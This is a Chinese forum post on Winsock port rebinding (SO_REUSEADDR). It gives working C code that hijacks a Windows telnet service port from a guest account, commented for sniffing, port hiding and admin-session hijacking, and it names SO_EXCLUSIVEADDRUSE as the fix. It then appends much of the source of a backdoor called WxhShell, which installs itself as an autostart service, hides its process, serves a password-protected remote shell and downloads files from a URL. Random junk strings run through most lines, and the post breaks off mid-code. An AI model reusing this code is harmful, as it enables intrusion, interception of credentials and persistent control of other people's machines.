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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vu3DP+u|i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *?FVLE  
.d<K`.O ;  
  saddr.sin_family = AF_INET; tF:AnNp=  
C[L 5H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NoiB9 8g  
<Ht"t]u*Bn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?9`j1[0  
1Gsh%0r3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /eV)5`V  
V$?6%\M^*  
  这意味着什么?意味着可以进行如下的攻击: k+J%o%* <  
[d`E9&Hv3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5#GMp  
kelBqJ-,p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ` ,\b_SFg  
"w:h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !"N,w9MbD  
BJjic%V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,"EaZ/Bl/  
~/L:$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (!* l+}  
*ERV\/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _4by3?<c  
J :O!4gI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cYA:k  
Xdn&%5rI  
  #include B4y_{V  
  #include ZC?~RXL(  
  #include t<45[~[  
  #include    \n{# r`T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &<t%u[3  
  int main() }j/\OY _&  
  { ;/Hr ZhOE  
  WORD wVersionRequested; "*bLFORkq'  
  DWORD ret; zG9FO/@av  
  WSADATA wsaData; cXq9k!I%  
  BOOL val; %g9y m@s  
  SOCKADDR_IN saddr; 0z>IYw|UB  
  SOCKADDR_IN scaddr; |5^ iqW  
  int err; C~&E7w  
  SOCKET s; //&3{B  
  SOCKET sc; c8&3IzZ  
  int caddsize; ?MH=8Cl1w  
  HANDLE mt; `i`P}W!F  
  DWORD tid;   _}F& ^  
  wVersionRequested = MAKEWORD( 2, 2 ); y!b"Cj  
  err = WSAStartup( wVersionRequested, &wsaData ); @NM0ILE  
  if ( err != 0 ) { B ~v6_x  
  printf("error!WSAStartup failed!\n"); &]TniQH  
  return -1; bJ:5pBJ3  
  } > "hP  
  saddr.sin_family = AF_INET; \l/(L5gY  
   d:'{h"M6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *$A`+D9  
aT,WXW*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2XR!2_)O5  
  saddr.sin_port = htons(23); Oe Q[-e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Y`(J#  
  { A|"T8KSMB  
  printf("error!socket failed!\n"); Vh0cac|X  
  return -1; -5*OSA:8x  
  } WSozDNF!'f  
  val = TRUE; lV'?X%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bc(MN8b]j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -C2!`/U  
  { Zf$mwRS[_  
  printf("error!setsockopt failed!\n"); :Racu;xf  
  return -1; |>ztx}\  
  } )<QX2~m<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )7.)fY$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ew\:&"@2]w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &b (*  
k+"];  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ep8UWxB5  
  { |sGJum&=  
  ret=GetLastError(); q7CLxv &QG  
  printf("error!bind failed!\n"); pLu5x<  
  return -1; iQO4IT   
  } "~VKUvDu  
  listen(s,2); 6.]~7n  
  while(1) X!|eRA~o  
  { 8=D,`wog  
  caddsize = sizeof(scaddr); \`y:#N<c  
  //接受连接请求 N8nt2r<h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UlWmf{1%]?  
  if(sc!=INVALID_SOCKET) 9,8/DW.K  
  { eBa#Z1Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]WNY"B>+  
  if(mt==NULL) lW"0fZ_x'E  
  { ~C{:G;Iy0  
  printf("Thread Creat Failed!\n"); -3ePCAtXbe  
  break; S:z|"u:+  
  } yV`Tw"p  
  } GJdL1ptc  
  CloseHandle(mt); XVN JK-B  
  } 3/gR}\=  
  closesocket(s); `\@n&y[`7  
  WSACleanup(); :?UcD_F  
  return 0; qb;b.P?~D$  
  }   @tSB^&jUWu  
  DWORD WINAPI ClientThread(LPVOID lpParam) ASdW!4.p  
  { =R:O`qdC4e  
  SOCKET ss = (SOCKET)lpParam; >,Y+ 1  
  SOCKET sc; !n;3jAl&$  
  unsigned char buf[4096]; fln[Q2zl  
  SOCKADDR_IN saddr; w7` pbcY,  
  long num; U`[viH>K  
  DWORD val; N4 x5!00  
  DWORD ret; 8pEA3py  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A,&711Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [.&JQ  
  saddr.sin_family = AF_INET; 5BA:^4zr?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g(zeOS]q}  
  saddr.sin_port = htons(23); 9qDM0'WuU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RR=WD-l  
  { bj`GGxzOb  
  printf("error!socket failed!\n"); iuj%.}  
  return -1; Rk5#5R n  
  } b~UWFX#U  
  val = 100; kB?/_a`]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vw>(JCR  
  { ktPM66`b  
  ret = GetLastError(); .RmFYV0,  
  return -1; ekY)?$v3  
  } 6*B%3\z)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xq.kH|bH  
  { 5`3 x(=b  
  ret = GetLastError(); 9Tr ceL;  
  return -1; Ytc[ kp  
  } /*;a6S8q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '__>M>[  
  { 4IW fp&Q!  
  printf("error!socket connect failed!\n"); --diG$x.  
  closesocket(sc); >!qtue7B  
  closesocket(ss); HY_>sD  
  return -1; CF3x\6.q}  
  } \A^8KVE!  
  while(1) (Zx--2lc  
  { _8r'R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q{V e%8$"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lios1|5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ..Dm@m}  
  num = recv(ss,buf,4096,0); 8VG}-   
  if(num>0) 8D>5(Dg-  
  send(sc,buf,num,0); ,~,q 0PA7J  
  else if(num==0) !\|  
  break; 9{3_2CIL  
  num = recv(sc,buf,4096,0); WI&A+1CK-5  
  if(num>0) (gY W iz  
  send(ss,buf,num,0); ^O<' Qp,[:  
  else if(num==0) ogSDV   
  break; h<M1q1)  
  } t ]Ln(r  
  closesocket(ss); 3{.]!   
  closesocket(sc); f"gYXaVF+  
  return 0 ; y=pW+$k  
  } MB:[: nX  
Wgs6}1b g  
sMAj?]hI$  
========================================================== ~)#E?:h5  
LK4NNZf7  
下边附上一个代码,,WXhSHELL &u^]YE{  
F3vywN1$,  
========================================================== 0'f\>4B  
OmkJP  
#include "stdafx.h" ?7pn%_S  
> dVhIbG  
#include <stdio.h> tq,^!RSbZ  
#include <string.h> #/Ob_~-?j  
#include <windows.h> oQpGa>6U&  
#include <winsock2.h> )?OdD7gd  
#include <winsvc.h> Kg~D~ +j  
#include <urlmon.h> F#yn'j8  
,<!*@xy7v  
#pragma comment (lib, "Ws2_32.lib") `%~}p7Zu  
#pragma comment (lib, "urlmon.lib") FO(QsR=\s  
%5+X  
#define MAX_USER   100 // 最大客户端连接数 y|+5R5}K  
#define BUF_SOCK   200 // sock buffer &HLG<ISw  
#define KEY_BUFF   255 // 输入 buffer _'Jjt9@S  
L|<j/bP  
#define REBOOT     0   // 重启 b 1.S21  
#define SHUTDOWN   1   // 关机 i._RMl5zg  
Fs~*-R$  
#define DEF_PORT   5000 // 监听端口 8ZbXGQ  
1!V[fPJ  
#define REG_LEN     16   // 注册表键长度 \15'~ ]d  
#define SVC_LEN     80   // NT服务名长度 g]JJ!$*1  
4".I*ij  
// 从dll定义API r [^.\&-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UAz^P6iQ`~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u0<yGsEGD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |AE{rvP{@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D=vw0Q_3Y3  
#b&tNZ4!_  
// wxhshell配置信息 qLX<[UL  
struct WSCFG { .3UJ*^(?  
  int ws_port;         // 监听端口 ts(u7CJd  
  char ws_passstr[REG_LEN]; // 口令  wT19m  
  int ws_autoins;       // 安装标记, 1=yes 0=no LCS.C(n,  
  char ws_regname[REG_LEN]; // 注册表键名 '_7rooU9  
  char ws_svcname[REG_LEN]; // 服务名 'Q=)-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {HM[ )t0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jlb{1B$7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <z%**gP~G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &-o5lrq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lb9?Uc@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N LQ".mM+  
f U=P$s  
}; :zo5`[P  
1yz%ud-l  
// default Wxhshell configuration V:j^!*  
struct WSCFG wscfg={DEF_PORT, M`q|GY  
    "xuhuanlingzhe", XM+.Hel  
    1, "(W;rl  
    "Wxhshell", ha;fxM]  
    "Wxhshell", Dz$w6 d  
            "WxhShell Service", LKI\(%ba#  
    "Wrsky Windows CmdShell Service", ,<K+.7,)E  
    "Please Input Your Password: ", ^S;{;c+'  
  1, S'$m3,l(k  
  "http://www.wrsky.com/wxhshell.exe", *7Y#G8 s  
  "Wxhshell.exe" qov<@FvE0  
    }; T=~d. &J  
/N%i6t<xU  
// 消息定义模块 l i?@BHEf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V;RgO}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gi/k#3_m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Iv3yDL;  
char *msg_ws_ext="\n\rExit."; S?`0,F  
char *msg_ws_end="\n\rQuit."; r)-{~JA!  
char *msg_ws_boot="\n\rReboot..."; .]KC*2  
char *msg_ws_poff="\n\rShutdown..."; f^hJAZ  
char *msg_ws_down="\n\rSave to "; XP!m]\E&I  
{E(2.'d  
char *msg_ws_err="\n\rErr!"; t oDi70o  
char *msg_ws_ok="\n\rOK!"; ( sl{Rgxe*  
u/|@iWK:  
char ExeFile[MAX_PATH]; b'SP,}s5"  
int nUser = 0; &0[ L2x}7  
HANDLE handles[MAX_USER]; Opf)TAl{  
int OsIsNt; ~a3u['B  
IQC[ewk  
SERVICE_STATUS       serviceStatus; 1k:yU(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Op9 ^Eu%n  
\WnTpl>B  
// 函数声明 ) YwEl72c  
int Install(void); .H M3s  
int Uninstall(void); E(6P%(yt8  
int DownloadFile(char *sURL, SOCKET wsh); R#ZJLT  
int Boot(int flag); />I5,D'h  
void HideProc(void); Md>C!c  
int GetOsVer(void); MUZ]*n&0  
int Wxhshell(SOCKET wsl); >Ho=L)u  
void TalkWithClient(void *cs); RuVk>(?WK%  
int CmdShell(SOCKET sock); Bi;a~qE  
int StartFromService(void); }OnU32P  
int StartWxhshell(LPSTR lpCmdLine); #l&*&R~>  
03|nP$g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1;kMbl]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2+)h!y]  
ns5Dydo{T  
// 数据结构和表定义 ; \co{_&D  
SERVICE_TABLE_ENTRY DispatchTable[] = d)biMI}<5  
{ k0PwAt)65  
{wscfg.ws_svcname, NTServiceMain}, BcpbS%S  
{NULL, NULL} p`7d9MV^  
}; Yz[Rl ^  
QaEiPn~  
// 自我安装 I*o6Bn |D  
int Install(void) !<j4*av:G  
{ oF+yh!~mM  
  char svExeFile[MAX_PATH]; E$:2AK{*  
  HKEY key; K\B!tk  
  strcpy(svExeFile,ExeFile); M^HYkXn[  
TBJ?8W(  
// 如果是win9x系统,修改注册表设为自启动 B[YyA  
if(!OsIsNt) { T>1#SWQ/9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3l`"(5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * Uy>F[%@  
  RegCloseKey(key); FVP,$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +&f_k@+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Iz9!i J"  
  RegCloseKey(key); Yyd}>+|<,  
  return 0; 3;}YW^oXq  
    } "#0P*3-c  
  } yr>J^Et%_  
} p}!)4EI=  
else { O\;Lb[`lb  
3HP { a  
// 如果是NT以上系统,安装为系统服务 <bCB-lG*Kb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6K8v:yYPa  
if (schSCManager!=0) (ESFR0  
{ mP15PZ  
  SC_HANDLE schService = CreateService $(0<T<\  
  ( \,p?pL<'  
  schSCManager, )q4nyT>M  
  wscfg.ws_svcname, `l?MmIJ  
  wscfg.ws_svcdisp, e'G3\h}#  
  SERVICE_ALL_ACCESS, I;_T_m4.q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \j)c?1*$  
  SERVICE_AUTO_START, $$4flfx  
  SERVICE_ERROR_NORMAL, BIx*(  
  svExeFile, &e).l<B  
  NULL, buzpmRoN)  
  NULL, 'CqAjlj  
  NULL, k)F!gV#  
  NULL, r/ATZAgHP  
  NULL " @ ""  
  ); q\!"FDOl4  
  if (schService!=0) vFLE%z{\o  
  { #LR6wEk  
  CloseServiceHandle(schService); .*YOyK3H  
  CloseServiceHandle(schSCManager); h \`(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O\yYCi(  
  strcat(svExeFile,wscfg.ws_svcname); 6z~ [Ay  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3 Z SU^v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ux" ^3D  
  RegCloseKey(key); CP"5E?dcK  
  return 0; GpXf).a@  
    }  r?0w5I  
  } 5B8/"G  
  CloseServiceHandle(schSCManager); ^56D)A=  
} ~/SLGyu  
} d1^5r 31  
0VR,I{<.{  
return 1; 4Vf-D% h>a  
} 32J/   
<daH0l0  
// 自我卸载 ?_uan  
int Uninstall(void) $E:z*~ ?  
{ ^Vh^Z)gGi  
  HKEY key; ' t(#HBU  
*n@rPr-  
if(!OsIsNt) { v/]xdP^Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y@ ;/Sf$Q  
  RegDeleteValue(key,wscfg.ws_regname); qB$QC  
  RegCloseKey(key); Te)%L*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BgCEv"G5  
  RegDeleteValue(key,wscfg.ws_regname); `+TC@2-?  
  RegCloseKey(key); '{JMWNY  
  return 0; Ug gg!zA  
  } id`9,IJx  
} V~o'L#a  
} #gf0*:p  
else { :N<o<qn  
=-P<v2|e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~$ ?85   
if (schSCManager!=0) <Z~Nz>'r  
{ | z}VP-L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .bh 7  
  if (schService!=0) 2Z^p)  
  { Gh{9nM_\"  
  if(DeleteService(schService)!=0) { ?5pZp~  
  CloseServiceHandle(schService); KV{  
  CloseServiceHandle(schSCManager); \!>qtFT  
  return 0; ZL!5dT&@W  
  } ~^ '+ .  
  CloseServiceHandle(schService); !]7L9TGn  
  } 3dtL[aVwY  
  CloseServiceHandle(schSCManager); @WKJ7pt`'N  
} 3<a|_(K  
} fx^yC.$2  
l0',B*og  
return 1; \Y:zg3q*  
} ] TZ/=Id  
YO@~y *,  
// 从指定url下载文件 K"Irg.  
int DownloadFile(char *sURL, SOCKET wsh) G-o6~"J\  
{ G [yI[7=d  
  HRESULT hr; kOel !A  
char seps[]= "/"; YB{'L +Wbw  
char *token; \Q?#^<O  
char *file; PEKXPF N  
char myURL[MAX_PATH]; BH$hd|KD<  
char myFILE[MAX_PATH]; URr{J}5  
2'ws@U}lR  
strcpy(myURL,sURL); J}@.f-W\j  
  token=strtok(myURL,seps); raP9rEs  
  while(token!=NULL) FPE6H:'  
  { #xq|/JWs  
    file=token; YcSPU(  
  token=strtok(NULL,seps); vhU $GG8  
  } Q?Xqf7y  
-3y $j+  
GetCurrentDirectory(MAX_PATH,myFILE); #V[Os!ns  
strcat(myFILE, "\\"); 01%0u8U  
strcat(myFILE, file); gHWsKE  %  
  send(wsh,myFILE,strlen(myFILE),0); m{yq.H[X  
send(wsh,"...",3,0); O`>u70  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W{}M${6&  
  if(hr==S_OK) 2rf#Bq?7  
return 0; PP6gU=9[)  
else '?mky,:HT  
return 1; ~Bt >Y  
)o::~ eu  
} ~!Rf5QA85  
b|.<rV'BTt  
// 系统电源模块 B-$ps=G+z  
int Boot(int flag) }qhND-9#@  
{ cdL0<J b,  
  HANDLE hToken; |Yi_|']#  
  TOKEN_PRIVILEGES tkp; &c= 3BEh  
4%jQHOZ  
  if(OsIsNt) { cm>+f^4?n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >+[{m<Eq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ge{%B~x  
    tkp.PrivilegeCount = 1; $cO-+Mr-~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gx%f&H~Z^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ch/DBu  
if(flag==REBOOT) { O3p<7`K<4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c#fSt}J>C  
  return 0; Ee$F]NA  
} Sjmq\A88dc  
else { cw~-%%/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ige*tOv2  
  return 0; RE;)#t?K  
} llpgi,-=  
  } r)dXcus  
  else { zwlz zqV  
if(flag==REBOOT) { *W4~.peoE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o<Rrr,  
  return 0; pvM`j86 _  
} xZMAX}8v  
else { xI5zP? _v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "!o|^nN,  
  return 0; S"Ag7i  
} n1y*`5!  
} wqt/0,\  
1(a+|  
return 1; @Wzr rCpj  
}  pm*i!3g'  
H<3a yp$  
// win9x进程隐藏模块 TzV~I\a|  
void HideProc(void) ENZYrWl  
{ Ehtb`Ms  
;E\e.R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <d3 a  
  if ( hKernel != NULL ) "A}2iI  
  { p xQh;w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >6z7.d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Mgxv>zRbs  
    FreeLibrary(hKernel); `n%8y I%  
  } ZX40-6#O  
aw1 f;&K4  
return; k NUNh[  
} CN#2-[T  
T'%R kag>  
// 获取操作系统版本 ek0,@Vg9  
int GetOsVer(void) IU rGJ#}O  
{ jbu+>  
  OSVERSIONINFO winfo; 2,'%G\QT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f_r4*#&v  
  GetVersionEx(&winfo); 7pZd?-6M^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e>_Il']Mb  
  return 1; ]nx5E_j2  
  else DcNwtts  
  return 0; D{iPsH6};5  
} wB%;O`Oh  
;-{'d8  
// 客户端句柄模块 P{>-MT2E  
int Wxhshell(SOCKET wsl) !u%XvxJwDb  
{ I !g+K  
  SOCKET wsh; NYF 7Ep; _  
  struct sockaddr_in client; 4]ETF+   
  DWORD myID; q<Wz9lDMNR  
2!6-+]tC  
  while(nUser<MAX_USER) ]=sGLd^)E  
{ RjG=RfB'V  
  int nSize=sizeof(client); /8s>JPXKH[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KA]5tVQA  
  if(wsh==INVALID_SOCKET) return 1; :stA]JB# w  
]iH~ 1[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d)v'K5  
if(handles[nUser]==0) :.F;LF&  
  closesocket(wsh); XbW 1`PH  
else -F';1D!l%  
  nUser++; {'q(a4  
  } -ob1_0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hkvymHaG  
t;)`+K#1:  
  return 0; ,gn**E  
} ~5wT|d  
690;\O '  
// 关闭 socket :3By7BZgj  
void CloseIt(SOCKET wsh) K}Rq<z W  
{ 6kHb*L Je  
closesocket(wsh); #s|/5[i  
nUser--; FDIOST !  
ExitThread(0); Gbc2\A\  
} 0D^c4[Y'l  
2g_2$)2  
// 客户端请求句柄 pq<2:F:Kl  
void TalkWithClient(void *cs) C4t@;U=x  
{ oa8xuFu(n  
`:;fc  
  SOCKET wsh=(SOCKET)cs; P#ot$@1v  
  char pwd[SVC_LEN]; sn:wLc/GAd  
  char cmd[KEY_BUFF]; 4lF?s\W:  
char chr[1]; #P-T4 R  
int i,j; |C.[eHe&D  
eR:!1z_h  
  while (nUser < MAX_USER) { "|K D$CY  
DzG$\%G2R}  
if(wscfg.ws_passstr) { \kVi&X=q:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mpDQhD[n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aA&}=lm  
  //ZeroMemory(pwd,KEY_BUFF); =F90SyzTy  
      i=0; g ,""j`  
  while(i<SVC_LEN) { =&v&qn e9  
}#QYZ nR  
  // 设置超时 CC{{@  
  fd_set FdRead; [[VB'Rs  
  struct timeval TimeOut; 6Bn%7ZBv  
  FD_ZERO(&FdRead); aj@<4A=;  
  FD_SET(wsh,&FdRead); K6@9=_A  
  TimeOut.tv_sec=8; P)&qy .+E0  
  TimeOut.tv_usec=0; 9|1J pb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *WZ?C|6+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (eF "[,z  
2sNV09id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ($*R>*6<x  
  pwd=chr[0]; VW *d*!  
  if(chr[0]==0xd || chr[0]==0xa) { n~G-X  
  pwd=0; WeRX~  
  break; `{W>Dy  
  } R}Z2rbt  
  i++; |;(0]  
    } 6`sS8Ar&u  
|GnqfD  
  // 如果是非法用户,关闭 socket >p@v'h/Cr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \}+b_J6-  
} zkmfu~_)  
c:sk1I,d~^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t{Xf3.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g~Agy  
,)7y? *D}  
while(1) { a) 5;Od  
Vo:Gp  
  ZeroMemory(cmd,KEY_BUFF); =hDFpb,mr  
m #}%l3$  
      // 自动支持客户端 telnet标准   (SGU]@)g  
  j=0; rk .tLk  
  while(j<KEY_BUFF) { 6F4OISy%3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VLs%;|`5D  
  cmd[j]=chr[0]; ;$$.L bb8  
  if(chr[0]==0xa || chr[0]==0xd) { 9a lMC  
  cmd[j]=0; ;ZowC#j  
  break; &WAJ;7f  
  } %P tdFz$  
  j++; i2(lqhaP  
    } l!YjDm{E  
$g+q;Y~i0  
  // 下载文件 ;Vh5nO  
  if(strstr(cmd,"http://")) { 3X A8\Mg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^=V b'g3P~  
  if(DownloadFile(cmd,wsh)) P gK> Z,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76rRF   
  else mj9r#v3.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); No G`J$D  
  } <m!(eLm+B  
  else { 47 *,  
[Uw/;Kyh  
    switch(cmd[0]) { hj|P*yKV  
  sJ q^>"|J  
  // 帮助 RbGq$vYol/  
  case '?': { JVk"M=c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -cW 'g  
    break; dpWBY3(7a  
  } l/F'W}  
  // 安装 q]>m#yk   
  case 'i': {  (:ObxJ*  
    if(Install()) @#= ail  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^J{tOxO=l  
    else pz]#/Ry?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zbobi,  
    break; ppu WcGo  
    } :*MqYny&  
  // 卸载 FqpUw<]6s  
  case 'r': { ^wm>\o;  
    if(Uninstall()) &]mZp&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); re;^,  
    else HHU0Nku@ho  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gV-x1s+  
    break; x]%'^7#v)  
    } KaGG4?=V  
  // 显示 wxhshell 所在路径 Zn]njf1x  
  case 'p': { fF*{\  
    char svExeFile[MAX_PATH]; 6I`Lszs  
    strcpy(svExeFile,"\n\r"); EA+}Rf6}  
      strcat(svExeFile,ExeFile); slWO\AYiO  
        send(wsh,svExeFile,strlen(svExeFile),0); rfVHPMD0  
    break; BQTibd  
    } ;Q&|-`NK  
  // 重启 , e6}p  
  case 'b': { //_aIp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h<8.0  
    if(Boot(REBOOT)) ?rG>SA>o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q V +gQ  
    else { c Oi:bC@  
    closesocket(wsh); ?6=u[))M&  
    ExitThread(0); rbw5.NU  
    } JL1z8Nu  
    break; eub2[,  
    } bm:"&U*tu'  
  // 关机 jx7b$x]  
  case 'd': { [^4)3cj7}  
